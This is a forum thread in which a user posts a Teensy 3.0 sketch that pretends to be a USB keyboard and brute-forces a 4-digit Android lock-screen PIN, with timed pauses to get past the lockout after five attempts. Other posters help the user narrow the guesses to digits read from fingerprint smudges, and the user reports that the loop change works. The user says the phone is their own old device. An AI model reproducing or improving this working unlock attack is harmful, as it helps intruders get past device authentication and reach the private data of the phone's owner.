Help speed up brute force attack

I'm trying to improve on this great code from David Szili. I'm using a teensy to brute force an android phone. For a 4 digit pin code it should take about 17 hours (Plus all the extra hours of charging the phone in between.) to get through all of the combinations.

However I would like to speed that up. If I could see fingerprints on the phone so I knew what numbers the pin was comprised of. How could I modify the code to only use every combination of say 3,6,9?

Here is a link to the original project.

Here is the code I'm trying to modify. Any help would be greatly appreciated.

/==========================================================================================
Purpose: 4-Digit PIN Brute Force attack for USB-OTG Android devices using Teensy 3.0
Author: David Szili
Version: 1.0
==========================================================================================
/

// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;

// Teensy 3.0 has LED on 13
const int ledPin = 13;

// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;

// Where to stop the PIN loops
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;

void setup()
{
// Initialize the digital pin as an output.
pinMode(ledPin, OUTPUT);

// Wait 5 seconds to prepare the Android Device
delay(5000);
}

void loop()
{
// Make the PIN cracking loops first
if ( finishedPINcracking == 0 )
{
// Start going throuhg all the PIN conbinations
for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
{
for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
{
for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
{
for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
{
if ( (digit4 == 4) || (digit4 == 9) ) // Wait for 30 seconds after 5 attempts
{
// Enter PIN: convert int to String and concatenate them
Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec
{
// Turn on the On-Board LED to indicate it is waiting
digitalWrite(ledPin, HIGH);
// Wait 5 seconds and hit Enter
delay(5000);
Keyboard.println();
}
// Wait 2 more extra seconds, just to be sure
delay(2000);
// Turn off the On-Board LED
digitalWrite(ledPin, LOW);
}
else // Normal brute-force mode
{
// Enter PIN: convert int to String and concatenate them
Keyboard.print(String(digit1) + String(digit2) + String(digit3) + String(digit4));
delay(500);
Keyboard.println();
}
}
}
}
}
// Flip the flag to true
finishedPINcracking = 1;
}
// After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
else
{
// Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
digitalWrite(ledPin, HIGH); // Set the LED on
delay(2500); // Wait for 2,5 seconds
digitalWrite(ledPin, LOW); // Set the LED off
delay(2500); // Wait for 2,5 seconds
Keyboard.println();
}
}

I'm trying to improve on this great code from David Szili.

Sorry, can't see it.

Ok, It's not complicated and I'm a noob but any code I can use to benefit me is great in my opinion.

The phone is not set up to lock itself up, or timeout for a bit, after say 3 failed log in attempts in so many seconds?

Yes after 5 tries you have to wait for 30 sec.

if ( (digit4 == 4) || (digit4 == 9) ) // Wait for 30 seconds after 5 attempts
{
// Enter PIN: convert int to String and concatenate them
Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec

The code works fine it just goes from 0-9 because of

// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;

// Where to stop the PIN loops
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;

I just don't know how to change it use only "3,6,9" instead of "0,1,2,3,4,5,6,7,8,9" for every place value.

I wouldn't bother changing the existing code, I'd start again.
On the other hand, most likely I wouldn't, because I wouldn't be trying to break into mobiles

Its my old phone from a few years ago, I forgot the pin. Has some old family pictures on it. I thought it would be a good opportunity to learn about ardiuno and some C++ and recover my pictures in the process. Don't be such a negative Nancy.

#San Bernardino

One three element array contains the digits 3, 6, 9.
Instead of using for loops to generate digits, you generate indices of the array.

Don't spoil it but am I on the right track?

Changing
const int digit1_start = 0;
const int digit1_stop = 9;

to
int digit1_start[] = {3,6,9};
int digit1_stop[] = {3,6,9};

Remember I only have about 10min of google training.

Vaguely.
Forget the programming for a moment, and try to figure how you'd do it with pencil and paper.

3333
3336
3339

3363
3366
3369

3633
3636
3639

etc etc. So are you saying something like this.

If we are focusing on the 4th digit lets call it * so our pin is 333* instead of looping * from 0-9 we start with 3 and then add 3 then loop?

digit1_start = 3;
digit1_stop = 9;
//...
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1+=3 )

Awesome! That worked. However now the 30sec delay is not working right.

if ( (digit4 == 3) || (digit4 == 6) ) // Wait for 30 seconds after 5 attempts

is there a better way to make a 30 sec delay after 5 attempts?

2Fac3:
Awesome! That worked. However now the 30sec delay is not working right.

if ( (digit4 == 3) || (digit4 == 6) ) // Wait for 30 seconds after 5 attempts

is there a better way to make a 30 sec delay after 5 attempts?

Just count the attempts.

Can't figure out how to do that.

Is it something like cout << 5

???

2Fac3:
Can't figure out how to do that.

Is it something like cout << 5

???

Not even close. Counting is really, really elementary stuff. Programming 101. So you better go and check out some C/C++ beginner tutorials before you go on.